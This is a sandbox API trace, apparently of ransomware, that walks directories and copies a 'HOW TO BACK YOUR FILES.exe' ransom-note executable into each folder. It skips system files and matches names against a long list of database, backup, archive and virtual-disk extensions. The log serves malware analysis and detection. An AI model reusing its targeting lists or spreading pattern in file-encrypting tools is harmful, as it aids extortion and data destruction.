	[0077.873] FindNextFileW (in: hFindFile=0x5ca1d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f6d1090, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0077.873] FindClose (in: hFindFile=0x5ca1d0 | out: hFindFile=0x5ca1d0) returned 1
	[0077.873] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a70
	[0077.873] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Mozilla", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Mozilla") returned="C:\\Users\\All Users\\Mozilla"
	[0077.873] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca110 | out: hHeap=0x580000) returned 1
	[0077.873] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0077.873] lstrlenW (lpString="C:\\Users\\All Users\\Mozilla") returned 26
	[0077.873] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Mozilla" | out: lpString1="C:\\Users\\All Users\\Mozilla") returned="C:\\Users\\All Users\\Mozilla"
	[0077.873] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.873] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\mozilla\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0077.873] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0077.874] GetLastError () returned 0x0
	[0077.874] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0077.874] ReadFile (in: hFile=0x150, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0077.874] CloseHandle (hObject=0x150) returned 1
	[0077.874] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0077.874] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.874] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6d1090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0077.874] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.874] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.874] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.874] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6d1090, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.874] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.874] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0077.874] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0077.874] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0077.874] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f6d1090, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f6d1090, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0077.874] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0077.874] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2f6f71f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6f71f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1
	[0077.874] lstrcmpiW (lpString1="logs", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.875] lstrcmpiW (lpString1="logs", lpString2="Apollon865.txt.exe") returned 1
	[0077.875] lstrcmpiW (lpString1="logs", lpString2=".") returned 1
	[0077.875] lstrcmpiW (lpString1="logs", lpString2="..") returned 1
	[0077.875] lstrcmpiW (lpString1="logs", lpString2="windows") returned -1
	[0077.875] lstrcmpiW (lpString1="logs", lpString2="bootmgr") returned 1
	[0077.875] lstrcmpiW (lpString1="logs", lpString2="temp") returned -1
	[0077.875] lstrcmpiW (lpString1="logs", lpString2="pagefile.sys") returned -1
	[0077.875] lstrcmpiW (lpString1="logs", lpString2="boot") returned 1
	[0077.875] lstrcmpiW (lpString1="logs", lpString2="ids.txt") returned 1
	[0077.875] lstrcmpiW (lpString1="logs", lpString2="ntuser.dat") returned -1
	[0077.875] lstrcmpiW (lpString1="logs", lpString2="perflogs") returned -1
	[0077.875] lstrcmpiW (lpString1="logs", lpString2="MSBuild") returned -1
	[0077.875] lstrlenW (lpString="logs") returned 4
	[0077.875] lstrlenW (lpString="C:\\Users\\All Users\\Mozilla\\*") returned 28
	[0077.875] lstrcpyW (in: lpString1=0x119e63e, lpString2="logs" | out: lpString1="logs") returned="logs"
	[0077.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0077.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x40) returned 0x5b5ed8
	[0077.875] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a70 | out: ListHead=0x5b75f0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0077.875] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2f6f71f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6f71f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0
	[0077.875] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0077.875] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7a70
	[0077.875] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Mozilla\\logs", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Mozilla\\logs") returned="C:\\Users\\All Users\\Mozilla\\logs"
	[0077.875] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b5ed8 | out: hHeap=0x580000) returned 1
	[0077.875] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0077.875] lstrlenW (lpString="C:\\Users\\All Users\\Mozilla\\logs") returned 31
	[0077.875] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Mozilla\\logs" | out: lpString1="C:\\Users\\All Users\\Mozilla\\logs") returned="C:\\Users\\All Users\\Mozilla\\logs"
	[0077.875] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.875] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Mozilla\\logs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\mozilla\\logs\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0077.876] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0077.876] GetLastError () returned 0x0
	[0077.876] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0077.876] ReadFile (in: hFile=0x150, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0077.876] CloseHandle (hObject=0x150) returned 1
	[0077.876] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0077.877] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.877] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\logs\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2f6f71f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6f71f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0077.877] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.877] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.877] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.877] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2f6f71f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6f71f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.877] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.877] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0077.877] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0077.877] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0077.877] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f6f71f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f6f71f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0077.877] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0077.877] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb07822e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="maintenanceservice-install.log", cAlternateFileName="MAINTE~1.LOG")) returned 1
	[0077.877] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.877] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="Apollon865.txt.exe") returned 1
	[0077.877] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2=".") returned 1
	[0077.877] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="..") returned 1
	[0077.877] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="windows") returned -1
	[0077.877] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="bootmgr") returned 1
	[0077.877] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="temp") returned -1
	[0077.877] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="pagefile.sys") returned -1
	[0077.877] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="boot") returned 1
	[0077.877] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="ids.txt") returned 1
	[0077.877] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="ntuser.dat") returned -1
	[0077.877] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="perflogs") returned -1
	[0077.877] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2="MSBuild") returned -1
	[0077.877] lstrlenW (lpString="maintenanceservice-install.log") returned 30
	[0077.877] lstrlenW (lpString="C:\\Users\\All Users\\Mozilla\\logs\\*") returned 33
	[0077.877] lstrcpyW (in: lpString1=0x119e648, lpString2="maintenanceservice-install.log" | out: lpString1="maintenanceservice-install.log") returned="maintenanceservice-install.log"
	[0077.877] lstrlenW (lpString="maintenanceservice-install.log") returned 30
	[0077.878] lstrlenW (lpString="Apollon865") returned 10
	[0077.878] lstrcmpiW (lpString1="nstall.log", lpString2="Apollon865") returned 1
	[0077.878] lstrlenW (lpString=".dll") returned 4
	[0077.878] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2=".dll") returned 1
	[0077.878] lstrlenW (lpString=".lnk") returned 4
	[0077.878] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2=".lnk") returned 1
	[0077.878] lstrlenW (lpString=".ini") returned 4
	[0077.878] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2=".ini") returned 1
	[0077.878] lstrlenW (lpString=".sys") returned 4
	[0077.878] lstrcmpiW (lpString1="maintenanceservice-install.log", lpString2=".sys") returned 1
	[0077.878] lstrlenW (lpString="maintenanceservice-install.log") returned 30
	[0077.878] lstrlenW (lpString="bak") returned 3
	[0077.878] lstrcmpiW (lpString1="log", lpString2="bak") returned 1
	[0077.878] lstrlenW (lpString="ba_") returned 3
	[0077.878] lstrcmpiW (lpString1="log", lpString2="ba_") returned 1
	[0077.878] lstrlenW (lpString="dbb") returned 3
	[0077.878] lstrcmpiW (lpString1="log", lpString2="dbb") returned 1
	[0077.878] lstrlenW (lpString="vmdk") returned 4
	[0077.878] lstrcmpiW (lpString1=".log", lpString2="vmdk") returned -1
	[0077.878] lstrlenW (lpString="rar") returned 3
	[0077.878] lstrcmpiW (lpString1="log", lpString2="rar") returned -1
	[0077.878] lstrlenW (lpString="zip") returned 3
	[0077.878] lstrcmpiW (lpString1="log", lpString2="zip") returned -1
	[0077.878] lstrlenW (lpString="tgz") returned 3
	[0077.878] lstrcmpiW (lpString1="log", lpString2="tgz") returned -1
	[0077.878] lstrlenW (lpString="vbox") returned 4
	[0077.878] lstrcmpiW (lpString1=".log", lpString2="vbox") returned -1
	[0077.878] lstrlenW (lpString="vdi") returned 3
	[0077.878] lstrcmpiW (lpString1="log", lpString2="vdi") returned -1
	[0077.878] lstrlenW (lpString="vhd") returned 3
	[0077.878] lstrcmpiW (lpString1="log", lpString2="vhd") returned -1
	[0077.878] lstrlenW (lpString="vhdx") returned 4
	[0077.878] lstrcmpiW (lpString1=".log", lpString2="vhdx") returned -1
	[0077.878] lstrlenW (lpString="avhd") returned 4
	[0077.878] lstrcmpiW (lpString1=".log", lpString2="avhd") returned -1
	[0077.878] lstrlenW (lpString="db") returned 2
	[0077.878] lstrcmpiW (lpString1="og", lpString2="db") returned 1
	[0077.879] lstrlenW (lpString="db2") returned 3
	[0077.879] lstrcmpiW (lpString1="log", lpString2="db2") returned 1
	[0077.879] lstrlenW (lpString="db3") returned 3
	[0077.879] lstrcmpiW (lpString1="log", lpString2="db3") returned 1
	[0077.879] lstrlenW (lpString="dbf") returned 3
	[0077.879] lstrcmpiW (lpString1="log", lpString2="dbf") returned 1
	[0077.879] lstrlenW (lpString="mdf") returned 3
	[0077.879] lstrcmpiW (lpString1="log", lpString2="mdf") returned -1
	[0077.879] lstrlenW (lpString="mdb") returned 3
	[0077.879] lstrcmpiW (lpString1="log", lpString2="mdb") returned -1
	[0077.879] lstrlenW (lpString="sql") returned 3
	[0077.879] lstrcmpiW (lpString1="log", lpString2="sql") returned -1
	[0077.879] lstrlenW (lpString="sqlite") returned 6
	[0077.879] lstrcmpiW (lpString1="ll.log", lpString2="sqlite") returned -1
	[0077.879] lstrlenW (lpString="sqlite3") returned 7
	[0077.879] lstrcmpiW (lpString1="all.log", lpString2="sqlite3") returned -1
	[0077.879] lstrlenW (lpString="sqlitedb") returned 8
	[0077.879] lstrcmpiW (lpString1="tall.log", lpString2="sqlitedb") returned 1
	[0077.879] lstrlenW (lpString="xml") returned 3
	[0077.879] lstrcmpiW (lpString1="log", lpString2="xml") returned -1
	[0077.879] lstrlenW (lpString="$er") returned 3
	[0077.879] lstrcmpiW (lpString1="log", lpString2="$er") returned 1
	[0077.879] lstrlenW (lpString="4dd") returned 3
	[0077.879] lstrcmpiW (lpString1="log", lpString2="4dd") returned 1
	[0077.879] lstrlenW (lpString="4dl") returned 3
	[0077.879] lstrcmpiW (lpString1="log", lpString2="4dl") returned 1
	[0077.879] lstrlenW (lpString="^^^") returned 3
	[0077.879] lstrcmpiW (lpString1="log", lpString2="^^^") returned 1
	[0077.879] lstrlenW (lpString="abs") returned 3
	[0077.879] lstrcmpiW (lpString1="log", lpString2="abs") returned 1
	[0077.879] lstrlenW (lpString="abx") returned 3
	[0077.879] lstrcmpiW (lpString1="log", lpString2="abx") returned 1
	[0077.879] lstrlenW (lpString="accdb") returned 5
	[0077.879] lstrcmpiW (lpString1="l.log", lpString2="accdb") returned 1
	[0077.879] lstrlenW (lpString="accdc") returned 5
	[0077.879] lstrcmpiW (lpString1="l.log", lpString2="accdc") returned 1
	[0077.879] lstrlenW (lpString="accde") returned 5
	[0077.879] lstrcmpiW (lpString1="l.log", lpString2="accde") returned 1
	[0077.879] lstrlenW (lpString="accdr") returned 5
	[0077.880] lstrcmpiW (lpString1="l.log", lpString2="accdr") returned 1
	[0077.880] lstrlenW (lpString="accdt") returned 5
	[0077.880] lstrcmpiW (lpString1="l.log", lpString2="accdt") returned 1
	[0077.880] lstrlenW (lpString="accdw") returned 5
	[0077.880] lstrcmpiW (lpString1="l.log", lpString2="accdw") returned 1
	[0077.880] lstrlenW (lpString="accft") returned 5
	[0077.880] lstrcmpiW (lpString1="l.log", lpString2="accft") returned 1
	[0077.880] lstrlenW (lpString="adb") returned 3
	[0077.880] lstrcmpiW (lpString1="log", lpString2="adb") returned 1
	[0077.880] lstrlenW (lpString="adb") returned 3
	[0077.880] lstrcmpiW (lpString1="log", lpString2="adb") returned 1
	[0077.880] lstrlenW (lpString="ade") returned 3
	[0077.880] lstrcmpiW (lpString1="log", lpString2="ade") returned 1
	[0077.880] lstrlenW (lpString="adf") returned 3
	[0077.880] lstrcmpiW (lpString1="log", lpString2="adf") returned 1
	[0077.880] lstrlenW (lpString="adn") returned 3
	[0077.880] lstrcmpiW (lpString1="log", lpString2="adn") returned 1
	[0077.880] lstrlenW (lpString="adp") returned 3
	[0077.880] lstrcmpiW (lpString1="log", lpString2="adp") returned 1
	[0077.880] lstrlenW (lpString="alf") returned 3
	[0077.880] lstrcmpiW (lpString1="log", lpString2="alf") returned 1
	[0077.880] lstrlenW (lpString="ask") returned 3
	[0077.880] lstrcmpiW (lpString1="log", lpString2="ask") returned 1
	[0077.880] lstrlenW (lpString="btr") returned 3
	[0077.880] lstrcmpiW (lpString1="log", lpString2="btr") returned 1
	[0077.880] lstrlenW (lpString="cat") returned 3
	[0077.880] lstrcmpiW (lpString1="log", lpString2="cat") returned 1
	[0077.880] lstrlenW (lpString="cdb") returned 3
	[0077.880] lstrcmpiW (lpString1="log", lpString2="cdb") returned 1
	[0077.880] lstrlenW (lpString="ckp") returned 3
	[0077.880] lstrcmpiW (lpString1="log", lpString2="ckp") returned 1
	[0077.880] lstrlenW (lpString="cma") returned 3
	[0077.880] lstrcmpiW (lpString1="log", lpString2="cma") returned 1
	[0077.880] lstrlenW (lpString="cpd") returned 3
	[0077.880] lstrcmpiW (lpString1="log", lpString2="cpd") returned 1
	[0077.880] lstrlenW (lpString="dacpac") returned 6
	[0077.880] lstrcmpiW (lpString1="ll.log", lpString2="dacpac") returned 1
	[0077.880] lstrlenW (lpString="dad") returned 3
	[0077.881] lstrcmpiW (lpString1="log", lpString2="dad") returned 1
	[0077.881] lstrlenW (lpString="dadiagrams") returned 10
	[0077.881] lstrcmpiW (lpString1="nstall.log", lpString2="dadiagrams") returned 1
	[0077.881] lstrlenW (lpString="daschema") returned 8
	[0077.881] lstrcmpiW (lpString1="tall.log", lpString2="daschema") returned 1
	[0077.881] lstrlenW (lpString="db-journal") returned 10
	[0077.881] lstrcmpiW (lpString1="nstall.log", lpString2="db-journal") returned 1
	[0077.881] lstrlenW (lpString="db-shm") returned 6
	[0077.881] lstrcmpiW (lpString1="ll.log", lpString2="db-shm") returned 1
	[0077.881] lstrlenW (lpString="db-wal") returned 6
	[0077.881] lstrcmpiW (lpString1="ll.log", lpString2="db-wal") returned 1
	[0077.881] lstrlenW (lpString="dbc") returned 3
	[0077.881] lstrcmpiW (lpString1="log", lpString2="dbc") returned 1
	[0077.881] lstrlenW (lpString="dbs") returned 3
	[0077.881] lstrcmpiW (lpString1="log", lpString2="dbs") returned 1
	[0077.881] lstrlenW (lpString="dbt") returned 3
	[0077.881] lstrcmpiW (lpString1="log", lpString2="dbt") returned 1
	[0077.881] lstrlenW (lpString="dbv") returned 3
	[0077.881] lstrcmpiW (lpString1="log", lpString2="dbv") returned 1
	[0077.881] lstrlenW (lpString="dbx") returned 3
	[0077.881] lstrcmpiW (lpString1="log", lpString2="dbx") returned 1
	[0077.881] lstrlenW (lpString="dcb") returned 3
	[0077.881] lstrcmpiW (lpString1="log", lpString2="dcb") returned 1
	[0077.881] lstrlenW (lpString="dct") returned 3
	[0077.881] lstrcmpiW (lpString1="log", lpString2="dct") returned 1
	[0077.881] lstrlenW (lpString="dcx") returned 3
	[0077.881] lstrcmpiW (lpString1="log", lpString2="dcx") returned 1
	[0077.881] lstrlenW (lpString="ddl") returned 3
	[0077.881] lstrcmpiW (lpString1="log", lpString2="ddl") returned 1
	[0077.881] lstrlenW (lpString="dlis") returned 4
	[0077.881] lstrcmpiW (lpString1=".log", lpString2="dlis") returned -1
	[0077.881] lstrlenW (lpString="dp1") returned 3
	[0077.881] lstrcmpiW (lpString1="log", lpString2="dp1") returned 1
	[0077.881] lstrlenW (lpString="dqy") returned 3
	[0077.881] lstrcmpiW (lpString1="log", lpString2="dqy") returned 1
	[0077.881] lstrlenW (lpString="dsk") returned 3
	[0077.881] lstrcmpiW (lpString1="log", lpString2="dsk") returned 1
	[0077.882] lstrlenW (lpString="dsn") returned 3
	[0077.882] lstrcmpiW (lpString1="log", lpString2="dsn") returned 1
	[0077.882] lstrlenW (lpString="dtsx") returned 4
	[0077.882] lstrcmpiW (lpString1=".log", lpString2="dtsx") returned -1
	[0077.882] lstrlenW (lpString="dxl") returned 3
	[0077.882] lstrcmpiW (lpString1="log", lpString2="dxl") returned 1
	[0077.882] lstrlenW (lpString="eco") returned 3
	[0077.882] lstrcmpiW (lpString1="log", lpString2="eco") returned 1
	[0077.882] lstrlenW (lpString="ecx") returned 3
	[0077.882] lstrcmpiW (lpString1="log", lpString2="ecx") returned 1
	[0077.882] lstrlenW (lpString="edb") returned 3
	[0077.882] lstrcmpiW (lpString1="log", lpString2="edb") returned 1
	[0077.882] lstrlenW (lpString="epim") returned 4
	[0077.882] lstrcmpiW (lpString1=".log", lpString2="epim") returned -1
	[0077.882] lstrlenW (lpString="fcd") returned 3
	[0077.882] lstrcmpiW (lpString1="log", lpString2="fcd") returned 1
	[0077.882] lstrlenW (lpString="fdb") returned 3
	[0077.882] lstrcmpiW (lpString1="log", lpString2="fdb") returned 1
	[0077.882] lstrlenW (lpString="fic") returned 3
	[0077.882] lstrcmpiW (lpString1="log", lpString2="fic") returned 1
	[0077.882] lstrlenW (lpString="flexolibrary") returned 12
	[0077.882] lstrcmpiW (lpString1="-install.log", lpString2="flexolibrary") returned 1
	[0077.882] lstrlenW (lpString="fm5") returned 3
	[0077.882] lstrcmpiW (lpString1="log", lpString2="fm5") returned 1
	[0077.882] lstrlenW (lpString="fmp") returned 3
	[0077.882] lstrcmpiW (lpString1="log", lpString2="fmp") returned 1
	[0077.882] lstrlenW (lpString="fmp12") returned 5
	[0077.882] lstrcmpiW (lpString1="l.log", lpString2="fmp12") returned 1
	[0077.882] lstrlenW (lpString="fmpsl") returned 5
	[0077.882] lstrcmpiW (lpString1="l.log", lpString2="fmpsl") returned 1
	[0077.882] lstrlenW (lpString="fol") returned 3
	[0077.882] lstrcmpiW (lpString1="log", lpString2="fol") returned 1
	[0077.882] lstrlenW (lpString="fp3") returned 3
	[0077.882] lstrcmpiW (lpString1="log", lpString2="fp3") returned 1
	[0077.882] lstrlenW (lpString="fp4") returned 3
	[0077.882] lstrcmpiW (lpString1="log", lpString2="fp4") returned 1
	[0077.882] lstrlenW (lpString="fp5") returned 3
	[0077.883] lstrcmpiW (lpString1="log", lpString2="fp5") returned 1
	[0077.883] lstrlenW (lpString="fp7") returned 3
	[0077.883] lstrcmpiW (lpString1="log", lpString2="fp7") returned 1
	[0077.883] lstrlenW (lpString="fpt") returned 3
	[0077.883] lstrcmpiW (lpString1="log", lpString2="fpt") returned 1
	[0077.883] lstrlenW (lpString="frm") returned 3
	[0077.883] lstrcmpiW (lpString1="log", lpString2="frm") returned 1
	[0077.883] lstrlenW (lpString="gdb") returned 3
	[0077.883] lstrcmpiW (lpString1="log", lpString2="gdb") returned 1
	[0077.883] lstrlenW (lpString="gdb") returned 3
	[0077.883] lstrcmpiW (lpString1="log", lpString2="gdb") returned 1
	[0077.883] lstrlenW (lpString="grdb") returned 4
	[0077.883] lstrcmpiW (lpString1=".log", lpString2="grdb") returned -1
	[0077.883] lstrlenW (lpString="gwi") returned 3
